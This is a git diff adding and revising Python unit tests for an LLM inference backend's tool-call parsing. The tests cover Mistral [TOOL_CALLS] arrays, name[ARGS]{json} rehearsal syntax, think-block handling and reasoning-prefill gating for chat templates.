+    """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}``
+    in one delta must NOT swallow the real call; web_search executes while the inactive
+    rehearsal stays visible as prose."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The real call runs; ``foo`` is not executed as a phantom disabled call.
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive rehearsal is preserved as prose; the active one is stripped.
+    assert any('foo[ARGS]{"a":1}' in t for t in content_texts), content_texts
+    assert all("web_search[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_detection_recognises_spent_one_shot_with_original_tools():
+    # Rehearsal detection is fed the ORIGINAL tool list, so a spent one-shot's re-emitted
+    # repeat is still detected (matching the strip gate) instead of blanking the turn.
+    from core.inference.llama_cpp import _gguf_has_genuine_tool_signal
+    from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+
+    repeat = 'render_html[ARGS]{"code":"<html>x</html>"}'
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, active_only)
+    assert _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, original)
+
+
+def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot():
+    # The BUFFERING prefix check and STREAMING/flush tail-holds use the ORIGINAL tool list,
+    # so a spent one-shot's split repeat is held rather than leaked as visible text.
+    from core.inference.llama_cpp import _held_rehearsal_tail_len, _is_rehearsal_prefix
+
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _is_rehearsal_prefix("render_html", active_only)
+    assert _is_rehearsal_prefix("render_html", original)
+    assert _held_rehearsal_tail_len("answer render_html", active_only) == 0
+    assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html")
+
+
 def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch):
     """An oversized bare-JSON call drains rather than streams, and still executes via the safety net."""
 
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
index 06316e2243..83bcc5864a 100644
--- a/studio/backend/tests/test_passthrough_healing.py
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -280,6 +280,56 @@ class TestStreamHealer:
         assert [c["id"] for c in calls] == ["call_0", "call_1"]
         assert _events_text(events).strip() == "then"
 
+    def test_mistral_array_multiple_calls_all_promoted_in_stream(self):
+        # A canonical Mistral [TOOL_CALLS] array carries several calls under a
+        # SINGLE signal. Draining only the first call would leave the residue
+        # starting at ",{...}]" (no signal), so later calls in the same array
+        # must be promoted in the same pass, not flushed as raw text.
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_multiple_calls_promoted_char_by_char(self):
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = []
+        for ch in array:
+            events += healer.feed(ch)
+        events += healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_undeclared_middle_kept_as_text_others_promoted(self):
+        # A mid-array element for a tool that is not declared must survive as
+        # text while the declared neighbours on either side still promote in
+        # document order.
+        healer = StreamToolCallHealer({"a", "c"})
+        array = (
+            '[TOOL_CALLS][{"name":"a","arguments":{}},'
+            '{"name":"b","arguments":{}},{"name":"c","arguments":{}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "c"]
+        assert '"b"' in _events_text(events)
+
+    def test_mistral_array_then_trailing_prose(self):
+        healer = StreamToolCallHealer({"a", "b"})
+        array = '[TOOL_CALLS][{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        events = healer.feed(f"{array} all done") + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "b"]
+        assert "all done" in _events_text(events)
+
     def test_incomplete_call_healed_at_finalize(self):
         healer = StreamToolCallHealer({"Bash"})
         events = healer.feed('<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}')
@@ -1356,3 +1406,42 @@ class TestOpenaiStreamingRoute:
             assert chunks[0] == line + "\n\n"  # byte-for-byte relay
 
         asyncio.run(_run())
+
+
+class TestHealerSignalAlignment:
+    """The passthrough healer buffers only formats its parser can promote.
+    The loops' bare [ARGS] rehearsal signal is gated on active tool names
+    there; ungated in the healer it would stall legitimate prose until
+    finalization without ever producing a promotable call."""
+
+    def test_heal_signals_are_promotable_formats_only(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+        }
+
+    def test_prose_with_bare_args_marker_streams_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        chunks = [
+            "Use the pattern foo",
+            "[ARGS] in templates when calling tools, ",
+            "and remember to close it.",
+        ]
+        streamed = ""
+        for chunk in chunks:
+            streamed += _events_text(healer.feed(chunk))
+        # Incremental relay: nothing withheld for finalize.
+        assert streamed == "".join(chunks)
+        final = healer.finalize()
+        assert not _events_calls(final)
+        assert not healer.healed
+
+    def test_bracket_tool_calls_still_promote_in_stream(self):
+        healer = StreamToolCallHealer({"web_search"})
+        events = healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "web_search"
+        assert healer.healed
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 89a0b3879b..46dd0d42e4 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -1990,8 +1990,8 @@ class TestTranslatedMessagesValidate:
             ChatMessage(**m.model_dump(exclude_none = True))
 
 
-# reasoning_prefilled mode: Qwen3/GLM enable_thinking templates prefill an unclosed <think>, so
-# generation begins inside the think block and emits only the closing </think>; the extractor starts in reasoning.
+# reasoning_prefilled: enable_thinking templates prefill an unclosed <think>, so
+# generation begins inside the block; the extractor must start in reasoning.
 class TestReasoningPrefilledExtractor:
     def test_prefilled_single_feed_splits_lone_close(self):
         # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
@@ -2077,9 +2077,7 @@ class TestReasoningPrefilledExtractor:
         assert visible == "hi"
 
     def test_not_prefilled_lone_close_preserves_current_behavior(self):
-        # T9: GGUF-parity guard -- WITHOUT prefilled, a lone </think> keeps the
-        # pre-fix behavior (reasoning stays visible, tag dropped). Ensures GGUF and
-        # every existing caller are byte-identical.
+        # T9: without prefilled, a lone close tag keeps the pre-fix behavior (parity guard).
         reasoning, visible = _extract_responses_reasoning(
             "reasoning</think>ans",
             parse_think_markers = True,
@@ -2099,8 +2097,7 @@ class TestReasoningPrefilledExtractor:
         assert visible == "v"
 
     def test_prefilled_ignored_when_markers_not_parsed(self):
-        # T11: a non-reasoning model (parse_think_markers False) still passes text
-        # straight through even if reasoning_prefilled were mistakenly set False.
+        # T11: a non-reasoning model passes text through even with reasoning_prefilled False.
         reasoning, visible = _extract_responses_reasoning(
             "just an answer",
             parse_think_markers = False,
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 3701a00dd2..9fd1535f22 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -183,7 +183,9 @@ def test_detect_safetensors_features_llama3_template_keeps_tools_on():
 
 
 def test_detect_safetensors_features_mistral_template_keeps_tools_on():
-    """Mistral emits [TOOL_CALLS]; parser now supports it."""
+    """Mistral emits [TOOL_CALLS]name{json}, which the safetensors loop now parses
+    (the shared bracket-tag parser). The gate must no longer suppress it, or the
+    PR's Mistral tool support is unreachable through normal capability detection."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3")
@@ -706,13 +708,28 @@ def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
     assert flags["supports_tools"] is True
 
 
-# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor so safetensors/MLX reach
-# GGUF reasoning-block parity for enable_thinking models.
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor (GGUF reasoning parity).
 class TestSafetensorsReasoningPrefillGate:
     # A minimal Qwen3-style template with the standard <think>/</think> markers.
     _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
     # gemma-style bespoke reasoning channel -- no standard markers.
     _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
+    # always-on template whose GENERATION PROMPT opens an unclosed <think> (DeepSeek-R1 / QwQ /
+    # Qwen3-Thinking shape): the model emits only the closing </think>, so prefill.
+    _ALWAYS_ON_OPEN_TPL = (
+        "{% for m in messages %}{{ m['content'] }}{% endfor %}"
+        "{% if add_generation_prompt %}<|assistant|><think>\n{% endif %}"
+    )
+    # always-on template that renders PAST assistant <think>...</think> history but leaves the
+    # generation prompt open with no <think> (Kimi-K2-Thinking shape): the model self-emits its
+    # own block, so prefill mode would blank a normal answer.
+    _ALWAYS_ON_HISTORY_TPL = (
+        "{% for m in messages %}"
+        "{% if m['role'] == 'assistant' %}<think>{{ m.get('reasoning_content', '') }}</think>"
+        "{{ m['content'] }}{% endif %}"
+        "{% endfor %}"
+        "{% if add_generation_prompt %}<|im_assistant|>assistant<|im_middle|>{% endif %}"
+    )
 
     def _features(self, **over):
         base = {
@@ -756,11 +773,19 @@ class TestSafetensorsReasoningPrefillGate:
         feats = self._features(supports_reasoning = False, reasoning_style = None)
         assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
 
-    def test_g7_reasoning_always_on(self):
-        # G7: hardcoded-<think> template -> prefilled regardless of the flag.
+    def test_g7_reasoning_always_on_prompt_opens_think(self):
+        # G7: always-on template whose generation prompt opens <think> -> prefilled regardless of the flag.
         from routes.inference import _sf_reasoning_prefill_mode
         feats = self._features(reasoning_always_on = True)
-        assert _sf_reasoning_prefill_mode(feats, False, self._QWEN_TPL) is True
+        assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True
+
+    def test_g7b_reasoning_always_on_history_only_not_prefilled(self):
+        # G7b (#5704): always-on classification from rendered assistant HISTORY <think></think>
+        # (Kimi-K2-Thinking) whose generation prompt opens no <think>. Prefill mode would capture a
+        # normal answer entirely as reasoning_content and blank the visible answer, so it must be off.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False
 
     def test_g8_gemma_bespoke_channel_excluded(self):
         # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
index 4a5423fa87..4e708139b7 100644
--- a/studio/backend/tests/test_safetensors_reasoning_stream.py
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -3,9 +3,11 @@
 
 """Safetensors/MLX reasoning-block parity with GGUF.
 
-enable_thinking templates prefill an unclosed ``<think>``, so the stream must split the leading
-text into ``reasoning_content`` deltas (per turn, monitor gets visible text only). Replays a copy
-of ``sf_tool_stream``'s reasoning loop from routes/inference.py against synthetic events.
+enable_thinking templates (Qwen3/GLM) prefill an unclosed ``<think>`` so the model
+emits only the closing ``</think>`` then the answer; the safetensors stream must
+split the leading text into ``reasoning_content`` deltas (plain stream and tool
+loop), resetting per turn and appending only visible text to the monitor. Replays a
+copy of ``sf_tool_stream``'s reasoning loop against synthetic events.
 """
 
 from __future__ import annotations
@@ -24,8 +26,40 @@ from routes.inference import (
 )
 
 
+_THINK_TPL = "...<think>...</think>..."
+_ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+
+
+def test_prefill_mode_on_for_enable_thinking_default():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, _THINK_TPL) is True
+
+
+def test_prefill_mode_off_when_thinking_disabled():
+    assert _sf_reasoning_prefill_mode(_ETHINK, False, _THINK_TPL) is False
+
+
+def test_prefill_mode_off_for_reasoning_effort_none():
+    # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled mode
+    # would capture the whole answer as reasoning_content.
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none")
+        is False
+    )
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high")
+        is True
+    )
+
+
+def test_prefill_mode_off_without_think_markers():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, "no markers here") is False
+
+
 def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
-    """Mirror sf_tool_stream's reasoning loop: diff cumulative snapshots, reset (flushing) on turn end."""
+    """Mirror sf_tool_stream's reasoning loop: diff each cumulative ``content``
+    snapshot, feed the delta through the extractor, and reset (flushing first) on
+    ``tool_start`` / empty ``status`` so each turn splits independently."""
     prev_text = ""
     extractor = _ResponsesReasoningExtractor(
         parse_think_markers = True, reasoning_prefilled = prefilled
@@ -151,9 +185,6 @@ def test_s5_thinking_off_no_reasoning_deltas():
     assert out["monitor"] == "Just the plain answer, no thinking."
 
 
-_THINK_TPL = "...{% if enable_thinking %}<think>{% endif %}...</think>..."
-
-
 def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
     # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and
     # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 38b30fe8f6..f826f3cddf 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -115,6 +115,22 @@ class TestParser:
         assert result[0]["function"]["name"] == "python"
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        import json
+
+        # Only the wrapping newline is trimmed; code-argument indentation survives.
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_xml_unclosed(self):
         # Closing tags omitted; parser must still extract the value.
         text = "<function=terminal><parameter=command>ls -la"
@@ -183,6 +199,8 @@ class TestParser:
         assert has_tool_signal("blah <tool_call> x")
         assert has_tool_signal("blah <|tool_call>call:terminal")
         assert has_tool_signal("hi <function=foo>...")
+        assert has_tool_signal("ok [TOOL_CALLS]web_search{...")
+        assert has_tool_signal("fine python[ARGS]{...")
         assert not has_tool_signal("hello world")
 
     def test_render_html_start_detector_uses_first_tool(self):
@@ -197,6 +215,44 @@ class TestParser:
             '<tool_call>{"name":"python","arguments":{"code":"<function=render_html>"}}'
         )
 
+    def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self):
+        # The provisional render-html card must fire for bracket-tag forms too, not only XML.
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":"<html>"}')
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}')
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]'
+        )
+        assert _detect_render_html_tool_start('render_html[ARGS]{"code":"<html>"}')
+        # A different first tool (or a prose mention with no JSON body) must not fire.
+        assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}')
+        assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}')
+        assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}')
+        assert not _detect_render_html_tool_start("use render_html[ARGS] to render")
+
+    def test_render_html_start_detector_skips_think_block_rehearsal(self):
+        # A render_html rehearsed inside think must not fire the card; the outside-think call decides.
+        assert not _detect_render_html_tool_start(
+            '<think>draft render_html[ARGS]{"code":"x"}</think>python[ARGS]{"code":"print(1)"}'
+        )
+        assert not _detect_render_html_tool_start(
+            '[THINK]render_html[ARGS]{"code":"x"}[/THINK]web_search[ARGS]{"q":"y"}'
+        )
+        # A real render_html AFTER a rehearsed non-render_html inside think still fires.
+        assert _detect_render_html_tool_start(
+            '<think>web_search[ARGS]{"q":"x"}</think>render_html[ARGS]{"code":"<html>"}'
+        )
+        # A render_html rehearsed inside think with no real call after does not fire.
+        assert not _detect_render_html_tool_start('<think>render_html[ARGS]{"code":"x"}</think>')
+
+    def test_render_html_start_detector_reads_top_level_array_name(self):
+        # Array form: the name is the object's top-level ``"name"``, not an argument key.
+        assert not _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"render_html"},"name":"python"}]'
+        )
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"python"},"name":"render_html"}]'
+        )
+
     def test_strip_markup_closed(self):
         text = "before <tool_call>{}</tool_call> after"
         assert strip_tool_markup(text) == "before  after"
@@ -237,6 +293,376 @@ class TestParser:
             == "before "
         )
 
+    # Mistral [TOOL_CALLS] bracket-tag.
+
+    def test_mistral_bracket_basic(self):
+        # Devstral / Mistral-Small fallback when bypassing native FC.
+        text = '[TOOL_CALLS]web_search{"query":"weather"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert isinstance(result[0]["function"]["arguments"], str)
+        assert "weather" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_inside_unclosed_think_is_ignored(self):
+        """Rehearsal-shaped markup inside an unclosed <think> block must
+        not be executed as a real tool call. Mid-stream the </think>
+        tag has not arrived yet, so the strip regex has to accept
+        end-of-string as a terminator. Regression for the Gemini
+        high-severity flag on this PR."""
+        text = (
+            "<think>I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.'
+        )
+        result = parse_tool_calls_from_text(text)
+        # Inside an unclosed think block no calls are yielded.
+        assert result == []
+
+    def test_rehearsal_inside_unclosed_bracket_think_is_ignored(self):
+        text = "[THINK]planning to use python[ARGS]" '{"code":"print(1)"} but not yet.'
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_rehearsal_after_closed_think_still_parsed(self):
+        text = "<think>planning</think>" 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_inside_prefilled_think_is_ignored(self):
+        """Reasoning models (Qwen3.5 enable_thinking) open <think> in the PROMPT,
+        so generated content starts inside the thought and carries only a closing
+        </think>. A call rehearsed in that leading thought must be skipped, while a
+        real call after the close still fires."""
+        text = 'planning web_search[ARGS]{"query":"draft"}</think>python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_literal_close_think_in_leading_argument_not_prefill(self):
+        """A </think> literal inside a real leading call's arguments must not be
+        read as a prefilled-reasoning close (which would skip the call)."""
+        text = 'web_search[ARGS]{"query":"what is </think>"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_stray_close_after_real_call_not_treated_as_prefill(self):
+        """A real leading call followed by a stray </think> and no further call is
+        a normal answer, not prefilled reasoning; the call must still fire (the
+        virtual span only applies when a real call follows the close)."""
+        text = 'Now web_search[ARGS]{"query":"x"}</think> answer'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_with_whitespace(self):
+        # Optional whitespace (incl. newlines) between the name and the opening brace.
+        text = '[TOOL_CALLS]python  \n  {"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_mistral_bracket_nested_json(self):
+        # Brace-balance scan handles nested objects and braces inside string literals.
+        text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        import json as _json
+
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "a {nested} brace"
+        assert args["opts"] == {"limit": 5}
+
+    def test_mistral_bracket_with_prose(self):
+        # Bracket-tag surrounded by prose is still recognised.
+        text = (
+            "Sure, I will look that up.\n"
+            '[TOOL_CALLS]web_search{"query":"weather"}\n'
+            "Calling now."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_bad_json_dropped(self):
+        text = "[TOOL_CALLS]web_search{not valid}"
+        result = parse_tool_calls_from_text(text)
+        # No usable tool call; callers fall back to text.
+        assert result == []
+
+    def test_mistral_bracket_object_with_array_value(self):
+        # Args must be a JSON object; a dict wrapping an array value is accepted.
+        text = '[TOOL_CALLS]web_search{"opts":[1,2,3]}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Rehearsal syntax name[ARGS]{json}.
+
+    def test_rehearsal_basic(self):
+        text = 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_with_prose(self):
+        text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_bad_json_dropped(self):
+        text = "python[ARGS]{not valid json}"
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_mistral_bracket_hyphenated_mcp_name(self):
+        # Dashed MCP names must be captured whole, not truncated at the first dash.
+        text = '[TOOL_CALLS]mcp__srv__list-issues{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_rehearsal_hyphenated_mcp_name(self):
+        text = 'mcp__srv__list-issues[ARGS]{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_streaming_strip_removes_partial_bracket_marker(self):
+        # A bracket tag streamed before its opening brace must strip on the final pass, not leak.
+        assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer"
+        assert strip_tool_markup("text python[ARGS]", final = True) == "text"
+        # Non-final must keep the in-progress tag buffered (not yet stripped).
+        partial = "answer [TOOL_CALLS]web_search"
+        assert strip_tool_markup(partial, final = False) == partial
+
+    def test_strip_removes_two_level_nested_bracket_call_keeps_prose(self):
+        # Two-level-nested args must be removed whole; the balanced scan handles any depth.
+        text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+        assert strip_tool_markup(text, final = False) == "before  after"
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_strip_removes_call_with_literal_think_in_argument(self):
+        # A literal think block inside arguments strips with the call, not as a reasoning block.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_strip_preserves_real_think_but_strips_call_with_literal_think(self):
+        text = (
+            "<think>planning</think> ok "
+            '<tool_call>{"name":"w","arguments":{"t":"<think>x</think>"}}</tool_call> done'
+        )
+        out = strip_tool_markup(text, final = True)
+        assert "<think>planning</think>" in out
+        assert "<tool_call>" not in out and '"name"' not in out
+        assert "ok" in out and "done" in out
+
+    def test_prose_mentioning_args_marker_is_not_truncated(self):
+        # ``foo[ARGS] to the template`` is prose; the catch-all must not delete the sentence.
+        text = "Please pass foo[ARGS] to the template and continue reading."
+        assert strip_tool_markup(text, final = True) == text
+
+    def test_streaming_strip_handles_mistral_v11_call_id_args(self):
+        # The streaming strip uses the regex patterns directly, so they must cover the v11
+        # [CALL_ID]/[ARGS] metadata (aligned with the parser).
+        raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+        assert "before" in out and "after" in out
+
+    # <think> pre-strip.
+
+    def test_think_block_stripped_before_xml(self):
+        # The think block is stripped before matching so the post-thinking call is recognised.
+        text = (
+            "<think>I will use web_search to find the weather.</think>"
+            '<tool_call>{"name":"web_search","arguments":{"query":"sf"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_think_block_stripped_before_bracket_tag(self):
+        text = (
+            "<think>Let me search for that.</think>\n" '[TOOL_CALLS]web_search{"query":"weather"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_uppercase_think_tag_stripped(self):
+        # Some templates use [THINK]...[/THINK] instead of <think>.
+        text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_think_block_hides_inner_tool_call(self):
+        # A call mentioned inside think is a rehearsal; the wrapper strip removes the inner markup.
+        text = (
+            "<think>I might call "
+            '<tool_call>{"name":"web_search","arguments":{}}</tool_call> '
+            "but I am not sure</think>\n"
+            "Let me just answer directly."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_think_literal_inside_real_tool_argument_is_preserved(self):
+        # A real call whose argument contains a literal think tag must not be corrupted.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["text"] == (
+            "compare <think> and </think> tags"
+        )
+
+    def test_bracket_tag_argument_with_think_literal_is_preserved(self):
+        text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks"
+
+    def test_real_call_after_think_with_rehearsal_inside(self):
+        # A rehearsal inside <think> is skipped, but the real call after the close tag parses.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think>search[ARGS]{"q":"real"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "real"
+
+    # XML takes precedence over bracket-tag.
+
+    def test_xml_wins_over_bracket(self):
+        # When a model emits both forms in one message, the XML form is canonical and wins.
+        text = (
+            '<tool_call>{"name":"primary","arguments":{}}</tool_call>'
+            '[TOOL_CALLS]secondary{"k":"v"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "primary"
+
+    # Strip patterns include bracket-tag and rehearsal.
+
+    def test_strip_bracket_tag_closed(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"hi"} after'
+        assert "[TOOL_CALLS]" not in strip_tool_markup(text)
+        assert "before" in strip_tool_markup(text)
+        assert "after" in strip_tool_markup(text)
+
+    def test_strip_rehearsal_closed(self):
+        text = 'prose python[ARGS]{"code":"x"} more prose'
+        cleaned = strip_tool_markup(text)
+        assert "[ARGS]" not in cleaned
+        assert "prose" in cleaned
+        assert "more prose" in cleaned
+
+    def test_strip_bracket_tag_unclosed_final(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"part'
+        # Final-mode strip drops the trailing unclosed run.
+        cleaned = strip_tool_markup(text, final = True)
+        assert "TOOL_CALLS" not in cleaned
+        assert cleaned == "before"
+
+    # Canonical Mistral array, v11 [CALL_ID], unified multi-call (PR review fixes).
+
+    def test_mistral_canonical_array_is_parsed(self):
